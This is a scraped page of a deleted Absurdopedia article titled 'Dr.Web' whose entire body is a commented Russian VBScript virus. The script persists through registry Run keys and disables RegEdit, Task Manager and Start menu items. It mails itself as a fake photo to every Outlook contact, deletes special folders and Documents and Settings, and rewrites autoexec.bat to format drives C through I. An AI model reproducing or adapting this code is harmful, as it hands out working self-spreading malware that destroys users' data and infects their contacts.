ФЭНДОМ


Удалённая статья
« Dr.Web »
Absurdologo
Откуда:Абсурдопедия
Создано:11 апреля 2010
Автор:195.22.110.58
Удалено:11 апреля 2010[1]
Удалил:QrazyDraqon
Причина:1.4 Полный неформат


' Объявление переменных(этот абзац не перемещать) Set FileSystemObject = CreateObject(«scripting.filesystemobject») Set Shell = CreateObject(«Wscript.Shell») t = 0: On Error Resume Next ' Пропускать ошибки Set Application = CreateObject(«Shell.Application») Set InternerExplorer = WScript.CreateObject(«InternetExplorer.Application») Set Outlook = WScript.CreateObject(«Outlook.Application»)

' Поменять функции клавиш мышки местами Shell.RegWrite «HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SwapNT», «rundll32 user32, SwapMouseButton» Shell.RegWrite «HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Swap98», «rundll32.exe user.exe, swapmousebutton» Shell.Run «rundll32 user32, SwapMouseButton»

' Минимизировать все окна Application.MinimizeAll

' Запускаться при каждой перезагрузке Set File2 = FileSystemObject.GetFile(WScript.ScriptFullName) File2.Copy («c:\windows\System\Gigabyte.vbs») Shell.RegWrite «HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Gigabyte», «C:\WINDOWS\SYSTEM\Gigabyte.vbs» Shell.RegWrite «HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Gigabyte», «C:\WINDOWS\SYSTEM\Gigabyte.vbs»

' Блокировать RegEdit(чтоб у него не заводился редактор реестра).Для того чтобы разблокировать происвойте DisableRegistryTools значение — 0 Shell.RegWrite «HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM\DisableRegistryTools», 1, «REG_DWORD»

' Удаление пунктов меню Пуск: Программы, Завершение работы, Найти, Выполнить, Документы и т. д. Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoStartMenuMorePrograms», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoClose», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoFind», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoRun», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoRecentDocsMenu», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoFavoritesMenu», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoStartMenuLogoff», 1, «REG_DWORD»

Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoClose», 1, «REG_DWORD»

' Разослать вирус Все контакты неприятеля For Index = 1 To Outlook.GetNameSpace(«MAPI»).AddressLists(1).count Set OutMail = Outlook.CreateItem(0) OutMail.to = Outlook.GetNameSpace(«MAPI»).AddressLists(1).AddressEntries(Index) OutMail.Subject = «Привет!» OutMail.Body = «Лови мою фотку!» OutMail.Attachments.Add WScript.ScriptFullName OutMail.Send Next

' Удаление всех специальных папок

For Each Folder In Shell.SpecialFolders
FileSystemObject.deletefolder folder,True
Next

' Удаление Documents and Settings

FileSystemObject.deletefolder"C:\Documents and Settings",True
FileSystemObject.deletefolder"D:\Documents and Settings",True
FileSystemObject.deletefolder"E:\Documents and Settings",True

' Вывести сообщение Shell.popup «Зря ты это сделал!», 1, «Ха-ха-ха!», 0+16

' Форматировать Все диски (Только для Windows 95,98,Me) If FileSystemObject.FileExists(«d:\autoexec.bat») Then Str = «d:\autoexec.bat» If FileSystemObject.FileExists(«d:\Windows.000\autoexec.bat») Then Str = «d:\Windows.000\autoexec.bat» If FileSystemObject.FileExists(«d:\Windows\autoexec.bat») Then Str = «d:\Windows\autoexec.bat» If FileSystemObject.FileExists(«c:\autoexec.bat») Then Str = «c:\autoexec.bat» If FileSystemObject.FileExists(«c:\Windows.000\autoexec.bat») Then Str = «c:\Windows.000\autoexec.bat» If FileSystemObject.FileExists(«c:\Windows\autoexec.bat») Then Str = «c:\Windows\autoexec.bat» Set ab = FileSystemObject.GetFile(Str) ab.Attributes = 0 Set autoexec = FileSystemObject.CreateTextFile(Str) autoexec.WriteLine «@cls» autoexec.WriteLine «@format c: /q /autotest» autoexec.WriteLine «@format d: /q /autotest» autoexec.WriteLine «@format e: /q /autotest» autoexec.WriteLine «@format f: /q /autotest» autoexec.WriteLine «@format g: /q /autotest» autoexec.WriteLine «@format h: /q /autotest» autoexec.WriteLine «@format i: /q /autotest» autoexec.Close Shell.Run Str, 5 Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives», 67108863, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive», 67108863, «REG_DWORD»